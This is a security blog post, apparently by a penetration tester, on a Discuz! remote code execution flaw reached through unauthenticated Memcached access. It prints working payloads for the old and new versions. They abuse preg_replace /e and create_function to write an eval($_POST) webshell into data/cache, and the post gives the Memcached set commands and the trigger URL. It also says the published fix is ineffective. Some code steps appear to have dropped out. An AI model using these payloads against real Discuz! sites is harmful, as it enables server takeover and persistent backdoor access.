Discuz! RCE caused by unauthorized access to Memcached

Category: Tag:

Vulnerability brief
The general exploitation process of this vulnerability is as follows: use discuz!’s ssrf vulnerability, use the gopher protocol to write the payload to memcached, and then request a specific link to cause a code execution vulnerability.

It can be seen that there are two key points of vulnerability exploitation:

1.ssrf vulnerability

2. Code execution vulnerabilities

Exploiting ssrf vulnerabilities is to write payload to memcached. We abstractly look at ssrf as just a way to write payload. If the port 11211 of memcached is bound to the external network and can be accessed without authorization, we can not use the ssrf vulnerability. I encountered this situation while doing a penetration test today.

Therefore, my focus now is on code execution vulnerabilities. If the code execution vulnerability is not fixed, I can use the memcached unauthorized vulnerability to write the payload and use the code execution vulnerability to obtain a webshell.

Three, discuz! Code execution vulnerability analysis

There are two versions of exploits, one is the old version, the other is the new version, discuz! Although it is already x3.4, the code has changed, and the vulnerability is still not fixed.

Vulnerability exploit code flow logic:












Finally, the code execution feature of the preg_replace function/e parameter is used to complete the entire process of exploiting the vulnerability.

The above is the old version of the code. There have been some analyses on the Internet. Here are some brief descriptions, focusing on the integrity of the payload. Most of the online articles are just verification demonstrations in the payload section. As a red team penetration tester, the confirmatory payload must not be used in actual penetration testing activities.

Fourth, the vulnerability exploitation process
1 Exploitation process of the old version:

Generate payload

$payload['output']['preg']['search']['plugins']= "/.*/e";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;

Then use telnet to link memcached

telnet 11211
set xxxxxx_setting 1 0 yyy    //xxxx is the prefix, defined by discuz, you can use the stats cachedump command to view. yyy is the payload length.

Finally visit forum.php?mod=ajax&inajax=yes&action=getthreadtypes, the shell generates /data/cache/ln.php.

2:The repair code given on the Internet is like this

if (preg_match("(/|#|\+|%).*(/|#|\+|%)e", $_G['setting']['output']['preg']['search']) !== FALSE) { die("request error"); }

This fix has no effect at all, it is invalid fix, the regularity of preg_match does not match /.*/e at all. Note that the regular code does not give a separator, and (becomes a separator, which makes the regular lose its original function. If the separator is added, the regular matches any character, which will affect the normal function of the code.


Vulnerabilities still exist in the new version Discuz x3.4

1 Code changes, vulnerabilities remain

​The code of the vulnerability point has been updated, but the vulnerability has not been fixed. This code update should be to adapt to the PHP version update, because the /e parameter of preg_replace is obsolete after php5.5. The official recommendation is to use preg_replace_callback.


foreach($_G['setting']['output']['preg']['search']as $key => $value) {
$content= preg_replace_callback($value, create_function('$matches','return'.$_G['setting']['output']['preg']['replace'][$key].';'), $content);

The vulnerable function becomes create_function, which everyone knows is also a dangerous function and can cause code execution vulnerabilities.

2 The new version of the vulnerability exploitation process

The generated payload has changed a bit (ps: just one less e)

$payload['output']['preg']['search']['plugins']= "/.*/";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;




Finally, the cache must be restored

Delete Vtfbsm_setting

File successfully written



​ Until the latest version of discuz, this vulnerability has not been fixed. The original ssrf combined with the memcached vulnerability, discuz only saw the ssrf vulnerability and did not notice the code execution vulnerability. Through the abstract thinking of vulnerabilities, we know that the way to control memcached is not only ssrf, but also to the code layer, the way to control the global variables of $G is not only memcached.



There are no reviews yet.

Be the first to review “Discuz! RCE caused by unauthorized access to Memcached”

Your email address will not be published. Required fields are marked *